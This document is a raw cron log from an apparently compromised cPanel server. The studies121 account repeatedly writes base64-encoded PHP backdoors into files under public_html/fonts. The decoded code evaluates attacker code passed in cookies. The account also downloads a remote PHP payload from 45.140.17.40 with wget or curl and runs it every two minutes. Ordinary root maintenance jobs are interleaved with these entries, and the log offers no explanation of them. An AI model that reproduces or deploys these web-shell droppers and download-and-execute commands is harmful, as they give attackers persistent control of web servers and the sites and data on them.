Sep  2 16:04:01 ip-184-168-122-23 CROND[10116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:04:01 ip-184-168-122-23 CROND[10118]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:04:01 ip-184-168-122-23 CROND[10122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:05:01 ip-184-168-122-23 CROND[10206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:05:01 ip-184-168-122-23 CROND[10208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:05:01 ip-184-168-122-23 CROND[10209]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 16:05:01 ip-184-168-122-23 CROND[10212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:05:01 ip-184-168-122-23 CROND[10211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:05:01 ip-184-168-122-23 CROND[10213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:05:01 ip-184-168-122-23 CROND[10210]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:06:01 ip-184-168-122-23 CROND[10294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:06:01 ip-184-168-122-23 CROND[10296]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:06:01 ip-184-168-122-23 CROND[10298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:06:01 ip-184-168-122-23 CROND[10299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:06:01 ip-184-168-122-23 CROND[10297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:07:01 ip-184-168-122-23 CROND[10485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:07:01 ip-184-168-122-23 CROND[10487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:07:01 ip-184-168-122-23 CROND[10489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:07:01 ip-184-168-122-23 CROND[10488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:08:01 ip-184-168-122-23 CROND[10572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:08:01 ip-184-168-122-23 CROND[10574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:08:01 ip-184-168-122-23 CROND[10576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:08:01 ip-184-168-122-23 CROND[10575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:08:01 ip-184-168-122-23 CROND[10577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:09:01 ip-184-168-122-23 CROND[10707]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 16:09:01 ip-184-168-122-23 CROND[10709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:09:01 ip-184-168-122-23 CROND[10708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:09:01 ip-184-168-122-23 CROND[10706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:09:01 ip-184-168-122-23 CROND[10710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:10:01 ip-184-168-122-23 CROND[10811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:10:01 ip-184-168-122-23 CROND[10812]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 16:10:01 ip-184-168-122-23 CROND[10814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:10:01 ip-184-168-122-23 CROND[10818]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:10:01 ip-184-168-122-23 CROND[10819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:10:01 ip-184-168-122-23 CROND[10823]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:10:01 ip-184-168-122-23 CROND[10824]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:10:01 ip-184-168-122-23 CROND[10825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:11:01 ip-184-168-122-23 CROND[10919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:11:01 ip-184-168-122-23 CROND[10917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:11:01 ip-184-168-122-23 CROND[10918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:11:01 ip-184-168-122-23 CROND[10920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:12:01 ip-184-168-122-23 CROND[11104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:12:01 ip-184-168-122-23 CROND[11106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:12:01 ip-184-168-122-23 CROND[11109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:12:01 ip-184-168-122-23 CROND[11108]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:12:01 ip-184-168-122-23 CROND[11107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:13:01 ip-184-168-122-23 CROND[11192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:13:01 ip-184-168-122-23 CROND[11195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:13:01 ip-184-168-122-23 CROND[11194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:13:01 ip-184-168-122-23 CROND[11196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:14:01 ip-184-168-122-23 CROND[11292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:14:01 ip-184-168-122-23 CROND[11295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:14:01 ip-184-168-122-23 CROND[11294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:14:01 ip-184-168-122-23 CROND[11296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:14:01 ip-184-168-122-23 CROND[11297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:15:01 ip-184-168-122-23 CROND[11403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:15:01 ip-184-168-122-23 CROND[11407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:15:01 ip-184-168-122-23 CROND[11406]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:15:01 ip-184-168-122-23 CROND[11408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:15:01 ip-184-168-122-23 CROND[11409]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:15:01 ip-184-168-122-23 CROND[11405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:15:01 ip-184-168-122-23 CROND[11410]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 16:16:02 ip-184-168-122-23 CROND[11501]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:16:02 ip-184-168-122-23 CROND[11502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:16:02 ip-184-168-122-23 CROND[11505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:16:02 ip-184-168-122-23 CROND[11507]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
